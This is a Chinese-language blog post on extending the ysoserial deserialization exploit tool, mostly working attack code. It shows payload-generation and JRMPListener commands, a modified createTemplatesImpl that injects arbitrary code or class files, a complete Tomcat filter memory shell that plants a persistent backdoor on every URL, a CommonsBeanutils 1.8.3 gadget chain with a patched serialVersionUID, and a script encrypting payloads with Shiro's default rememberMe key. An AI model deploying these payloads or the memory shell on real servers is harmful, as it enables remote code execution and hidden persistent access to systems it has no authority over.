ysoserial系列(2)——简单二开

ysoserial的使用

ysoserial 主要有两种运行方式

一种是利用 java -jar 运行主类函数,利用 gadget 生成反序列化 payload

java -jar ysoserial.jar CommonsCollections1 calc

image-20240805165319207

另一种是利用 java -cp 来指定 exploit 包下的特定类来开启交互服务,执行远程攻击

例如:java -cp ysoserial.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections1 'calc'

image-20240805165549382

高版本jdk指令如下。因为高版本对反射访问进行了严格的限制。需要明确地开放某些模块才能让 ysoserial 访问需要的类和成员。下面指令适用于java8高版本-java17

1
java.exe --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/sun.reflect.annotation=ALL-UNNAMED -cp ysoserial.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections1 'calc'

使 ysoserial 支持自定义代码

参考:

ysoserial 工具改造(一) – 天下大木头 (wjlshare.com)

使ysoserial支持执行自定义代码 | 回忆飘如雪 (gv7.me)

分析

先看看我们命令行指定的命令这个参数会在哪里被用到,首先ysoserial会从命令行获取两个参数

image-20240805175946763

用cc2来调试一下

image-20240805180341030

Utils.getPayloadClass方法获取CommonsCollections2这个类,实例化之后调用其getObject方法来获取恶意类。并且将我们的命令作为参数传入

image-20240805180421893

调用Gadgets.createTemplatesImpl方法创建恶意templates,命令作为参数。

image-20240805180816351

可以看到我们的命令被拼接进Runtime的exec函数了。

image-20240805180949823

实现

根据木头师傅的文章添加了四种方式

序号 方式 描述
1 “code:代码内容” 代码量比较少时采用
2 “codebase64:代码内容base64编码” 防止代码中存在但引号,双引号,&等字符与控制台命令冲突。
3 “codefile:代码文件路径” 代码量比较多时采用
4 “classfile:class路径“ 利用已生成好的 class 直接获取其字节码

先将这一行代码注释掉

1
2
3
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replace("\\", "\\\\").replace("\"", "\\\"") +
"\");";

将上面代码改为如下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
String cmd;
if (command.startsWith("code:")) {
// 如果命令以 "code:" 开头,直接截取 "code:" 之后的字符串作为代码(cmd)
cmd = command.substring(5);
} else if (command.startsWith("codebase64:")) {
// 如果命令以 "codebase64:" 开头,截取 "codebase64:" 之后的字符串
// 解码为字节数组,再转换为字符串,作为代码(cmd)
byte[] decode = new BASE64Decoder().decodeBuffer(command.substring(11));
cmd = new String(decode);
} else if (command.startsWith("codefile:")) {
// 如果命令以 "codefile:" 开头,截取 "codefile:" 之后的字符串作为文件路径
// 然后调用 CommonUtils.getCodeFile(codefile) 读取文件内容,将其作为代码(cmd)
String codefile = command.substring(9);
cmd = CommonUtils.getCodeFile(codefile);
} else if (command.startsWith("classfile:")) {
// 如果命令以 "classfile:" 开头,截取 "classfile:" 之后的字符串作为类文件路径
// 然后调用 CommonUtils.readClassByte(classfile) 读取类文件的字节码
// 将字节码注入到 templates 实例的 _bytecodes 字段中,并设置 _name 字段,最后返回 templates 实例
String classfile = command.substring(10);
final byte[] classBytes = CommonUtils.readClassByte(classfile);
Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{classBytes});
Reflections.setFieldValue(templates, "_name", "Pwnr");
return templates;
} else {
// 如果命令不符合上述任何一种前缀,默认将命令作为一个执行命令
// 使用 Runtime.getRuntime().exec(command) 执行,且对命令中的反斜杠和引号进行转义处理
cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replaceAll("\\\\", "\\\\\\\\").replaceAll("\"", "\\\"") +
"\");";
}

CommonUtils.java工具类代码如下,cmisl软件包用来管理自己额外添加的类。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package ysoserial.cmisl;

import java.nio.file.Files;
import java.nio.file.Paths;
import java.io.IOException;

public class CommonUtils {

/**
* 读取指定文件路径的内容,并以字符串形式返回
*
* @param filePath 文件路径
* @return 文件内容字符串
* @throws IOException 如果文件读取失败
*/
public static String getCodeFile(String filePath) throws IOException {
return new String(Files.readAllBytes(Paths.get(filePath)));
}

/**
* 读取指定类文件路径的字节码,并以字节数组形式返回
*
* @param classFilePath 类文件路径
* @return 类文件的字节数组
* @throws IOException 如果文件读取失败
*/
public static byte[] readClassByte(String classFilePath) throws IOException {
return Files.readAllBytes(Paths.get(classFilePath));
}
}

测试

假如现在有一个反序列化漏洞,依赖是commons.collections3.2.1,我们要打回显内存马,可以指定参数为CommonsCollections3 classfile:xxx\Tomcat_Echo_Evil_Filter.class

Tomcat_Echo_Evil_Filter.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Map;
import javax.servlet.DispatcherType;
import javax.servlet.Filter;
import javax.servlet.ServletContext;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationFilterChain;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;

public class Tomcat_Echo_Evil_Filter extends AbstractTranslet {
public Tomcat_Echo_Evil_Filter() {
}

public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}

public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}

static {
try {
Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & -17);
modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & -17);
modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & -17);
WRAP_SAME_OBJECT_FIELD.setAccessible(true);
lastServicedRequestField.setAccessible(true);
lastServicedResponseField.setAccessible(true);
if (!WRAP_SAME_OBJECT_FIELD.getBoolean((Object)null)) {
WRAP_SAME_OBJECT_FIELD.setBoolean((Object)null, true);
}

if (lastServicedRequestField.get((Object)null) == null) {
lastServicedRequestField.set((Object)null, new ThreadLocal());
}

if (lastServicedResponseField.get((Object)null) == null) {
lastServicedResponseField.set((Object)null, new ThreadLocal());
}

ServletRequest servletRequest = null;
ServletResponse servletResponse = null;
ThreadLocal threadLocal;
if (lastServicedRequestField.get((Object)null) != null) {
threadLocal = (ThreadLocal)lastServicedRequestField.get((Object)null);
servletRequest = (ServletRequest)threadLocal.get();
}

if (lastServicedResponseField.get((Object)null) != null) {
threadLocal = (ThreadLocal)lastServicedResponseField.get((Object)null);
servletResponse = (ServletResponse)threadLocal.get();
}

if (servletRequest != null && servletRequest.getServletContext() != null) {
ServletContext servletContext = servletRequest.getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext)appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext)stdctx.get(applicationContext);
Field filterConfigsField = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigsField.setAccessible(true);
Map filterConfigs = (Map)filterConfigsField.get(standardContext);
String filterName = "cmisl";
if (filterConfigs.get(filterName) == null) {
Filter filter = new Tomcat_Echo_Evil_Filter$EvilFilter();
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(filterName);
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.setFilterName(filterName);
filterMap.addURLPattern("/*");
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig)constructor.newInstance(standardContext, filterDef);
filterConfigs.put(filterName, applicationFilterConfig);
servletResponse.setCharacterEncoding("utf-8");
servletResponse.setContentType("text/html;charset=utf-8");
servletResponse.getWriter().write("[+]filter型内存马注入成功<br>");
servletResponse.getWriter().write("[+]URL:http://localhost:8080/FilterMemoryShell_war_exploded/");
}
}
} catch (Exception var19) {
}

}
}

将输出结果base64加密一下

image-20240806023717386

image-20240806023820214

serialVersionUID问题

不同版本依赖问题(serialVersionUID问题)

ysoserial 自带的cb链依赖版本是 1.9.2 ,但是我们shiro经常用到1.8.3版本的 commons-beanutils依赖 。由于版本不同,我们使用1.9.2的cb链payload,在存在1.8.3版本的 commons-beanutils依赖的漏洞环境中,由于serialVersionUID不同,反序列化会发生serialVersionUID报错,导致无法成功执行。

如果我们希望ysoserial工具既可以存在1.8.3版本的cb链,也存在1.9.2版本的cb链,就需要通过自定义的 classloader 来打破双亲委派机制,从而实现依赖隔离。

简单来说,Java中的类加载器(ClassLoader)通常会先让父类加载器加载类,这叫“双亲委派机制”。这种机制有时会导致依赖冲突,比如我们需要不同版本的库。为了避免每次修改依赖和重新打包,我们可以自定义一个类加载器,改变默认的类加载方式,让它优先加载特定版本的库,实现依赖隔离,从而纠正serialVersionUID问题。

javassist动态修改serialVersionUID

将StubTransletPayload替换成CmislTransletPayload

1
2
3
4
5
6
7
8
9
public static class CmislTransletPayload extends AbstractTranslet{

public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}

Gadgets#createTemplatesImpl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
public static <T> T createTemplatesImpl(final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory)
throws Exception {
final T templates = tplClass.newInstance();

// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(CmislTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(CmislTransletPayload.class.getName());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections

String cmd;
if (command.startsWith("code:")) {
// 如果命令以 "code:" 开头,直接截取 "code:" 之后的字符串作为代码(cmd)
cmd = command.substring(5);
} else if (command.startsWith("codebase64:")) {
// 如果命令以 "codebase64:" 开头,截取 "codebase64:" 之后的字符串
// 解码为字节数组,再转换为字符串,作为代码(cmd)
byte[] decode = new BASE64Decoder().decodeBuffer(command.substring(11));
cmd = new String(decode);
} else if (command.startsWith("codefile:")) {
// 如果命令以 "codefile:" 开头,截取 "codefile:" 之后的字符串作为文件路径
// 然后调用 CommonUtils.getCodeFile(codefile) 读取文件内容,将其作为代码(cmd)
String codefile = command.substring(9);
cmd = CommonUtils.getCodeFile(codefile);
} else if (command.startsWith("classfile:")) {
// 如果命令以 "classfile:" 开头,截取 "classfile:" 之后的字符串作为类文件路径
// 然后调用 CommonUtils.readClassByte(classfile) 读取类文件的字节码
// 将字节码注入到 templates 实例的 _bytecodes 字段中,并设置 _name 字段,最后返回 templates 实例
String classfile = command.substring(10);
final byte[] classBytes = CommonUtils.readClassByte(classfile);
Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{classBytes});
Reflections.setFieldValue(templates, "_name", "Pwnr");
return templates;
} else {
// 如果命令不符合上述任何一种前缀,默认将命令作为一个执行命令
// 使用 Runtime.getRuntime().exec(command) 执行,且对命令中的反斜杠和引号进行转义处理
cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replaceAll("\\\\", "\\\\\\\\").replaceAll("\"", "\\\"") +
"\");";
}


clazz.makeClassInitializer().insertAfter(cmd);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Cmisl" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);

final byte[] classBytes = clazz.toBytecode();

// CommonUtils.loadClassTest(classBytes);
//导出文件便于查看javassist构造的恶意Templates
clazz.writeFile("payload");

// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{
classBytes, ClassFiles.classAsBytes(Foo.class)
});

// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}

CommonsBeanutils1_183.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
package ysoserial.payloads;

import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtField;
import javassist.NotFoundException;
import org.apache.commons.beanutils.BeanComparator;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;

import java.math.BigInteger;
import java.util.Comparator;
import java.util.PriorityQueue;


@Dependencies({"commons-beanutils:commons-beanutils:1.8.3", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"})
@Authors({ Authors.FROHOFF,Authors.CMISL })
public class CommonsBeanutils1_183 extends Object implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
// mock method name until armed

ClassPool POOL = ClassPool.getDefault();
CtClass ctBeanComparator = POOL.get("org.apache.commons.beanutils.BeanComparator");

try {
CtField ctSerialVersionUID = ctBeanComparator.getDeclaredField("serialVersionUID");
ctBeanComparator.removeField(ctSerialVersionUID);
}catch (NotFoundException e){}

ctBeanComparator.addField(CtField.make("private static final long serialVersionUID = -3490850999041592962L;",ctBeanComparator));
final Comparator comparator = (Comparator)ctBeanComparator.toClass().newInstance();

// final BeanComparator comparator = new BeanComparator("lowestSetBit");
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, (Comparator<? super Object>)comparator);
// stub data for replacement later
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));

// switch method called by comparator
Reflections.setFieldValue(comparator, "property", "outputProperties");

// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = templates;

return queue;
}

public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsBeanutils1_183.class, args);
}
}

使用了javassist技术动态修改serialVersionUID为我们需要的值。

image-20240810032747114

加密脚本(因为加密脚本问题踩坑几个小时)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package com.govuln.shiroattack;

import javassist.ClassPool;
import javassist.CtClass;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.util.Base64;

public class Client1 {
public static void main(String []args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(com.govuln.shiroattack.Evil.class.getName());
clazz.writeFile("cmisl");
byte[] payloads = new CommonsBeanutils1Shiro().getPayload(clazz.toBytecode());

byte[] test = Base64.getDecoder().decode("base64data");

AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");

ByteSource ciphertext = aes.encrypt(test, key);
System.out.printf(ciphertext.toString());
}
}